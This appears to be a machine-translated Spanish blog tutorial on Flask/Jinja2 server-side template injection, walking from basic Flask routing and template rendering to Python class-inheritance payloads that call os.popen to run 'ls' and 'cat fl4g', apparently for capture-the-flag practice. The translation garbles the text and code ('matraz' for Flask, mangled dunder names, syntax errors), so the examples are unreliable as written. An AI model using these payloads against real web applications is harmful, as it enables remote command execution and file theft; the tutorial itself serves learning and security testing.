inyección de plantilla de matraz

Conceptos básicos del matraz

ssti: SSTI es la inyección de plantilla del lado del servidor, y también da un concepto de inyección. Al interactuar con la entrada y salida de la plantilla del servidor, los datos de entrada maliciosos se construyen sin un filtrado estricto, para lograr el propósito de leer archivos o gethell

Debido a que flask usa el motor de renderizado Jinja2, puede usar variables o {%%} para ejecutar declaraciones de Python en la interfaz en forma de { {}}. Existe la posibilidad de inyección ( si no comprende, consulte flask first! )
Debido a que flask es el lenguaje Python, algunas funciones integradas en Python se pueden usar en flask, podemos usar esto para leer y escribir archivos, ejecutar comandos, etc.

Antes de aprender SSTI, primero comprenda el proceso de operación del matraz. De esta manera, se puede utilizar una comprensión más rápida del principio.

Construcción local del entorno del matraz (ligeramente detallado)

Elegí pycharm para construir matraces y los estudiantes pueden descargar la versión profesional de forma gratuita. No hablaré sobre el paso de descarga e instalación.

Entorno: Python 3.6+
base: 0-
prueba simple

Pycharm instala Flask e importa automáticamente los módulos requeridos por Flask, por lo que solo necesitamos ordenar para instalar los paquetes requeridos. Se recomienda usar python3.6 para aprender en lugar de 2.X. Después de todo, django casi no admitirá 2. X., Cambio temprano y sobrenacimiento temprano. Python 3.6 también se importa automáticamente.
Inserte la descripción de la imagen aquí
Habrá un pequeño error al ejecutar aquí, porque aún no hemos instalado el módulo del matraz.
Inserte la descripción de la imagen aquí

enrutamiento

from flask import Flask
app = Flask(__name__)

@app.route("/")
def index():
    return "hello world"

if __name__ == '__main__':
   app.run()

,,

ruta decorador ruta

@ app.route ('/')

Usa el decorador route () para decirle a Flask qué tipo de URL puede activar nuestra función. El decorador route () vincula una función a la URL correspondiente. Esta oración es equivalente a enrutamiento. Una ruta sigue una función, como

@app.route('/')
def test()"
   return 123

Visita 127.0.0.1:5000/ dará como resultado 123, modifiquemos las reglas

@app.route('/test')
def test()"
   return 123

En este momento, el acceso a 127.0.0.1:5000/test dará como resultado 123.
Además, también puede establecer una URL dinámica,

@app.route("/hello/<username>")
def hello_user(username):
  return "user:%s"%username

Según la entrada en la URL, la identidad se identifica dinámicamente y puede ver la siguiente página en este momento:

entrada principal

Cuando el archivo .py se ejecuta directamente, el bloque de código bajo if name == 'main' se ejecutará; cuando el archivo .py se importa como un módulo, el bloque de código bajo if name == 'main' no se ejecutará correr. Si a menudo ejecuta pequeños scripts de Python escritos por usted mismo en modo cmd, entonces no necesita esto, pero si necesita hacer un desarrollo de Python un poco más grande, escribir if name == 'main__' es un buen hábito, Python más grande El script debe escribirse en varios archivos por separado. Un archivo debe usar otro archivo, que es un módulo. En este momento, esto funcionará y no se ejecutará, pero se usa de manera similar a la inclusión de archivos.

if __name__ == '__main__':
    app.debug = True
    app.run()

Al probar, podemos usar debug para facilitar la depuración, agregue una oración

app.debug = Verdadero

O (el efecto es el mismo)
app.run (debug = True)

De esta forma, cuando modificamos el código, lo guardamos directamente y refrescamos la página web, si no se agrega debug se debe ejecutar el programa una vez cada vez que se modifique el código y se cerrará el programa anterior. De lo contrario, el programa anterior lo sobrescribirá.

app.run (host = '0.0.0.0')

Esto permitirá que el sistema operativo escuche todas las direcciones IP de la red pública y usted podrá ver su web en la red pública en este momento.

Método de representación

render_template 用来渲染一个指定的文件的
render_template_string 用来渲染一个字符串

render_template
Puede utilizar el método render_template () para renderizar la plantilla. Todo lo que necesita hacer es pasar el nombre de la plantilla y los parámetros que desea como palabras clave a las variables de la plantilla. Aquí hay un breve ejemplo que muestra cómo renderizar una plantilla:

Ejemplo de representación de plantilla simple

from flask import render_template

@app.route('/hello/')
@app.route('/hello/<name>')
def hello(name=None):
        return render_template('hello.html', name=name)//我们hello.html模板未创建所以这段代码暂时供观赏,不妨往下继续看

Comencemos con el renderizado de plantillas, porque después de todo no estamos haciendo desarrollo ¡Flask es famoso por la inyección de plantillas ...! Así que comencemos con la representación de la plantilla de matraz y analicémosla en profundidad.

En primer lugar, debemos averiguar el sistema de renderizado de plantillas. La función render_template renderiza la plantilla en plantillas. La llamada plantilla es nuestro propio html, y los parámetros internos deben pasarse en variables dinámicas de acuerdo con las necesidades de cada usuario. .

├── app.py
└── templates
└── index.html
Escribimos un archivo index.html y lo escribimos en la carpeta de templates.

<html>
  <head>
    <title>{
   
   {title}} - 小猪佩奇</title>
  </head>
 <body>
      <h1>Hello, {
   
   {user}}</h1>
  </body>
</html>

Hay dos parámetros que necesitamos representar, user.name y title

Procesamos en el archivo app.py.

from flask import render_template
from flask import Flask
from flask import request
app = Flask(__name__)


@app.route('/')
@app.route('/index')#我们访问/或者/index都会跳转
def index():
   user = {
    
    'name': '小猪佩奇'}#传入一个字典数组
   return render_template("index.html",title='Home',user=request.args.get("key"))
   # request.args.get:用get获取一个参数
   # render_template:渲染一个html的文件

if __name__ == '__main__':
   app.run()

Ejecute render_template_string aquí
Inserte la descripción de la imagen aquí

@app.route('/test/')
def test():
    code = request.args.get('id')
    return render_template_string('<h1>{
    
    { code }}</h1>',code=code

Inserte la descripción de la imagen aquí

inyección

A través de la herencia de objetos Python, use métodos mágicos para encontrar métodos disponibles para ejecutar paso a paso. Es decir, busque la clase padre <type'object '> -> busque la subclase -> busque el módulo sobre la ejecución del comando o la operación del archivo

os.system 退出状态码
os.popen 以file形式返回输出内容

El método mágico del objeto:

__class__  返回类型所属的对象
__mro__    返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
__base__   返回该对象所继承的基类
// __base__和__mro__都是用来寻找基类的

__subclasses__   每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表
__init__  类的初始化方法
__globals__  对包含函数全局变量的字典的引用

paso

# Pruebe si hay inyección de plantilla

{ {1 + 1}}
[Construya una carga útil simple para ver si el servidor tiene eco]

#Obtener el objeto de la cadena

''. clase
<clase 'str'>

#Obtener la clase padre de la clase str

''. clase . mro
(<clase 'str'>, <clase 'objeto'>)

#Obtener todas las subclases de la clase de objeto

''. clase . mro [1]. subclases ()
[<clase 'tipo'>, <clase 'débilref'>, <clase 'débilcallableproxy'>, <clase 'débilproxy'>, <clase 'int'>, <clase 'bytearray'>, <clase 'bytes '>, <clase' lista '>, <clase' NoneType '>, <clase' NotImplementedType '>, <clase' traceback '>, <clase' super '>…

# Encuentra la posición de la clase requerida en la lista (comenzando desde la posición 0)

''. class . mro [2]. subclasses () [71]. init . globals ['os']. popen ('Instrucción de línea de comando
') .read () [popen ('ls'). read (), Significa obtener el resultado de ls y leerlo en la variable, por lo que imprimirá todos los archivos en el directorio actual en nuestra página web]

# Leer el contenido del archivo

''. clase . mro [1]. subclases () [71]. init . globals ['os']. popen ('cat fl4g'). read ()

Carga útil común:

''. clase . mro [2]. subclases () 40 .read ()
''. clase . mro [2]. subclases () [71]. init . globals ['os']. system ('ls')
''. clase . mro [1]. subclases () [71]. init . globals ['os']. popen ('cat fl4g'). read ()

Referencia:
Comprensión de @ app.route (

Decorador

Resumen básico de SSTI (inyección de plantilla)

escape de la caja de arena de Python

Supongo que te gusta

Origin blog.csdn.net/qq_45951598/article/details/110489314
Recomendado
Clasificación